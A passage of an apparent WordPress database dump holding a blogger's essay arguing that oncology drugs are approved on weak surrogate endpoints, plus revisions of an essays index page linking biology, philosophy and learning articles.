(48,1,'2021-03-14 16:50:40','2021-03-14 16:50:40','<!-- wp:paragraph -->\n<p>It’s obvious to anyone who takes a cursory look at the pharmaceutical industry that cancer is where it’s at. There are <a href=\"https://www.phrma.org/en/Report/Medicines-in-Development-for-Cancer-2020-Report#:~:text=Today%2C%20more%20than%201%2C300%20medicines,and%20Drug%20Administration%20(FDA).https://www.phrma.org/en/Report/Medicines-in-Development-for-Cancer-2020-Report#:~:text=Today%2C%20more%20than%201%2C300%20medicines,and%20Drug%20Administration%20(FDA).\">over 1300 cancer drugs in development</a> as of 2019, compared to roughly <a href=\"https://www.phrma.org/en/Science/In-The-Pipeline#:~:text=Biopharmaceutical%20innovation%20is%20revolutionizing%20medical,be%20optimistic%20than%20ever%20before.\">8000 drugs in total in development</a>. Cancer drugs bring in <a href=\"https://www.statista.com/chart/18311/sales-revenues-of-drug-classes/#:~:text=According%20to%20Evaluate%27s%20calculations%2C%20oncology,their%20sales%20to%20%24311.2%20billion.\">$145 billion in revenue each year,</a> the greatest of any drug category by far (the next category is diabetes, with about $50 billion).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Why is cancer so popular for pharmaceutical companies to target? A few reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Funding wise, cancer is the only disease with its own <a href=\"https://www.cancer.gov/about-nci/budget/fact-book/data/research-funding#:~:text=The%20FY%202018%20funds%20available,percent%20of%20the%20committed%20level.\">$6 billion federal budget allocation</a>, not to mention the funding from huge nonprofits like the American Cancer Society. Cancer drugs also have, due to complex reasons, very favorable economics, and can end up costing <a href=\"https://www.asbestos.com/featured-stories/high-cost-of-cancer-treatment/\">$100,000 per <strong>month</strong></a> per patient.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are also political reasons. The US Patent Office offers a special expedited review for <a href=\"https://www.federalregister.gov/documents/2019/01/28/2019-00202/extension-of-the-cancer-immunotherapy-pilot-program#:~:text=On%20June%2029,%202016,%20the%20United%20States%20Patent,for%20examination%20and%20reviewed%20earlier%20(accorded%20special%20status).\">cancer immunotherapy</a>. Similarly, the FDA offers <a href=\"https://www.fda.gov/about-fda/fda-organization/oncology-center-excellence\">a specific center for cancer “excellence”</a>, which they don’t do for other diseases.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these are easy enough to find and pretty public. However, I want to talk about another reason, which is less known but very important. Cancer drugs are held to a lower standard than other drugs when it comes to approval. This is done by using bullshit measurements in cancer trials, measurements that aren’t allowed to be used in any other drug trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These bullshit measurements are called progression free survival (PFS) and objective response rate (ORR), respectively. PFS is based on the idea that cancer gets worse over time. So, PFS measures the time that a person’s cancer doesn’t “progress”, with the idea that a cancer drug works better the longer it can stave off progression. ORR, meanwhile, is a percentage calculation that measures the number of people who “respond” to the drug. The idea here is that a cancer drug works better if more people respond to the drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both the “progression” in PFS and the “response” in ORR are based around the same idea, the idea that the progression that matters is the size of a tumor. If the tumor doesn’t grow, then that’s not a progression. If the cancer shrinks in response to a drug, that’s a response.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might think that these aren’t necessarily meaningful things to measure. You’d be right. By this calculation, it doesn’t matter if everyone dies from taking the drug in 6 months. If their tumors shrank before they died, they responded to the medication.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, this might seem like just a technicality. Surely this isn’t how these measurements are supposed to be used. It probably seems unlikely that the FDA would approve a drug which would have no impact on overall survival, even if it halted or reversed tumor growth. Well, unfortunately, that’s actually better than a lot of drugs that the FDA approves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s take a look at one of the PFS offenders. Here’s the FDA’s <a href=\"https://www.fda.gov/drugs/drug-approvals-and-databases/fda-approves-tivozanib-relapsed-or-refractory-advanced-renal-cell-carcinoma\">announcement of their approval of tivozanib</a>, a drug for renal cell carcinoma, a kidney cancer. I didn’t pick this drug specifically because it’s bad, I literally just picked it off the top of the list of <a href=\"https://www.fda.gov/drugs/resources-information-approved-drugs/hematologyoncology-cancer-approvals-safety-notifications\">most recent cancer drug approvals</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the FDA’s own press release, when tivozanib was compared against soranefib, the current best case drug, tivozanib extended “progression-free survival” by about a month and a half. Not amazing, but maybe ok, right? Well, tivozanib <em>decreased</em> survival by 3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, your tumors don’t grow for a month and a half, but you die 3 months sooner. If I do some bad math, I get to find out that you get to spend a month and a half in the grave with your tumors remaining the same size. That’s what PFS is like.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s take a look at one of the ORR offenders. Again, I’m not trying particularly hard: this is 4th on the list of most recent drug approvals. Melphalan flufenamide is a drug for refractory multiple myeloma (i.e. multiple myeloma that hasn’t responded to other drugs). According to <a href=\"https://www.fda.gov/drugs/drug-approvals-and-databases/fda-grants-accelerated-approval-melphalan-flufenamide-relapsed-or-refractory-multiple-myeloma\">the press release</a>, 23% of patients “responded” (i.e. had their tumors shrink) with the drug. The median “duration of response” (how long the tumors shrank for) was 4 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notice what’s missing? Not only is this missing literally every single symptom that a patient with multiple myeloma would care about (survival, anemia, bodily pain), it doesn’t even define how much the tumors shrank. Literally, it’s just binary. Did it shrink at all? And, to add insult to injury, there’s not even a placebo. There’s no measuring of whether tumors would shrink without the drug or not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No other drug category is measured like this. Every other drug category has quantifiable, clinically relevant endpoints. Even if the symptoms are difficult to quantify, like depression, doctors will at least ask the patients a battery of questions about how they’re feeling. Plus, every other drug category has some sort of comparison, whether it’s placebo or another treatment. But not cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t to say there are no good cancer drugs. There are. But there are also a lot of bullshit ones, and the bullshit ones can still make boatloads of money, before and after approval. And that’s why pharmaceuticals are so cancer-focused.</p>\n<!-- /wp:paragraph -->','Why oncology is such an attractive category for pharma companies','','publish','closed','closed','','why-oncology-is-so-popular-for-pharmaceuticals','','','2021-03-14 16:53:59','2021-03-14 16:53:59','',0,'https://trevorklee.com/?page_id=48',0,'page','',0),
(50,1,'2021-03-14 16:50:40','2021-03-14 16:50:40','<!-- wp:paragraph -->\n<p>It’s obvious to anyone who takes a cursory look at the pharmaceutical industry that cancer is where it’s at. There are <a href=\"https://www.phrma.org/en/Report/Medicines-in-Development-for-Cancer-2020-Report#:~:text=Today%2C%20more%20than%201%2C300%20medicines,and%20Drug%20Administration%20(FDA).https://www.phrma.org/en/Report/Medicines-in-Development-for-Cancer-2020-Report#:~:text=Today%2C%20more%20than%201%2C300%20medicines,and%20Drug%20Administration%20(FDA).\">over 1300 cancer drugs in development</a> as of 2019, compared to roughly <a href=\"https://www.phrma.org/en/Science/In-The-Pipeline#:~:text=Biopharmaceutical%20innovation%20is%20revolutionizing%20medical,be%20optimistic%20than%20ever%20before.\">8000 drugs in total in development</a>. Cancer drugs bring in <a href=\"https://www.statista.com/chart/18311/sales-revenues-of-drug-classes/#:~:text=According%20to%20Evaluate%27s%20calculations%2C%20oncology,their%20sales%20to%20%24311.2%20billion.\">$145 billion in revenue each year,</a> the greatest of any drug category by far (the next category is diabetes, with about $50 billion).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Why is cancer so popular for pharmaceutical companies to target? A few reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Funding wise, cancer is the only disease with its own <a href=\"https://www.cancer.gov/about-nci/budget/fact-book/data/research-funding#:~:text=The%20FY%202018%20funds%20available,percent%20of%20the%20committed%20level.\">$6 billion federal budget allocation</a>, not to mention the funding from huge nonprofits like the American Cancer Society. Cancer drugs also have, due to complex reasons, very favorable economics, and can end up costing <a href=\"https://www.asbestos.com/featured-stories/high-cost-of-cancer-treatment/\">$100,000 per <strong>month</strong></a> per patient.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are also political reasons. The US Patent Office offers a special expedited review for <a href=\"https://www.federalregister.gov/documents/2019/01/28/2019-00202/extension-of-the-cancer-immunotherapy-pilot-program#:~:text=On%20June%2029,%202016,%20the%20United%20States%20Patent,for%20examination%20and%20reviewed%20earlier%20(accorded%20special%20status).\">cancer immunotherapy</a>. Similarly, the FDA offers <a href=\"https://www.fda.gov/about-fda/fda-organization/oncology-center-excellence\">a specific center for cancer “excellence”</a>, which they don’t do for other diseases.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these are easy enough to find and pretty public. However, I want to talk about another reason, which is less known but very important. Cancer drugs are held to a lower standard than other drugs when it comes to approval. This is done by using bullshit measurements in cancer trials, measurements that aren’t allowed to be used in any other drug trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These bullshit measurements are called progression free survival (PFS) and objective response rate (ORR), respectively. PFS is based on the idea that cancer gets worse over time. So, PFS measures the time that a person’s cancer doesn’t “progress”, with the idea that a cancer drug works better the longer it can stave off progression. ORR, meanwhile, is a percentage calculation that measures the number of people who “respond” to the drug. The idea here is that a cancer drug works better if more people respond to the drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both the “progression” in PFS and the “response” in ORR are based around the same idea, the idea that the progression that matters is the size of a tumor. If the tumor doesn’t grow, then that’s not a progression. If the cancer shrinks in response to a drug, that’s a response.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might think that these aren’t necessarily meaningful things to measure. You’d be right. By this calculation, it doesn’t matter if everyone dies from taking the drug in 6 months. If their tumors shrank before they died, they responded to the medication.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, this might seem like just a technicality. Surely this isn’t how these measurements are supposed to be used. It probably seems unlikely that the FDA would approve a drug which would have no impact on overall survival, even if it halted or reversed tumor growth. Well, unfortunately, that’s actually better than a lot of drugs that the FDA approves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s take a look at one of the PFS offenders. Here’s the FDA’s <a href=\"https://www.fda.gov/drugs/drug-approvals-and-databases/fda-approves-tivozanib-relapsed-or-refractory-advanced-renal-cell-carcinoma\">announcement of their approval of tivozanib</a>, a drug for renal cell carcinoma, a kidney cancer. I didn’t pick this drug specifically because it’s bad, I literally just picked it off the top of the list of <a href=\"https://www.fda.gov/drugs/resources-information-approved-drugs/hematologyoncology-cancer-approvals-safety-notifications\">most recent cancer drug approvals</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the FDA’s own press release, when tivozanib was compared against soranefib, the current best case drug, tivozanib extended “progression-free survival” by about a month and a half. Not amazing, but maybe ok, right? Well, tivozanib <em>decreased</em> survival by 3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, your tumors don’t grow for a month and a half, but you die 3 months sooner. If I do some bad math, I get to find out that you get to spend a month and a half in the grave with your tumors remaining the same size. That’s what PFS is like.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s take a look at one of the ORR offenders. Again, I’m not trying particularly hard: this is 4th on the list of most recent drug approvals. Melphalan flufenamide is a drug for refractory multiple myeloma (i.e. multiple myeloma that hasn’t responded to other drugs). According to <a href=\"https://www.fda.gov/drugs/drug-approvals-and-databases/fda-grants-accelerated-approval-melphalan-flufenamide-relapsed-or-refractory-multiple-myeloma\">the press release</a>, 23% of patients “responded” (i.e. had their tumors shrink) with the drug. The median “duration of response” (how long the tumors shrank for) was 4 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notice what’s missing? Not only is this missing literally every single symptom that a patient with multiple myeloma would care about (survival, anemia, bodily pain), it doesn’t even define how much the tumors shrank. Literally, it’s just binary. Did it shrink at all? And, to add insult to injury, there’s not even a placebo. There’s no measuring of whether tumors would shrink without the drug or not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No other drug category is measured like this. Every other drug category has quantifiable, clinically relevant endpoints. Even if the symptoms are difficult to quantify, like depression, doctors will at least ask the patients a battery of questions about how they’re feeling. Plus, every other drug category has some sort of comparison, whether it’s placebo or another treatment. But not cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t to say there are no good cancer drugs. There are. But there are also a lot of bullshit ones, and the bullshit ones can still make boatloads of money, before and after approval. And that’s why pharmaceuticals are so cancer-focused.</p>\n<!-- /wp:paragraph -->','Why oncology is so popular for pharmaceuticals','','inherit','closed','closed','','48-revision-v1','','','2021-03-14 16:50:40','2021-03-14 16:50:40','',48,'https://trevorklee.com/?p=50',0,'revision','',0),
(51,1,'2021-03-14 16:51:49','2021-03-14 16:51:49','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-03-14 16:51:49','2021-03-14 16:51:49','',22,'https://trevorklee.com/?p=51',0,'revision','',0),
(52,1,'2021-03-14 16:52:06','2021-03-14 16:52:06','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition 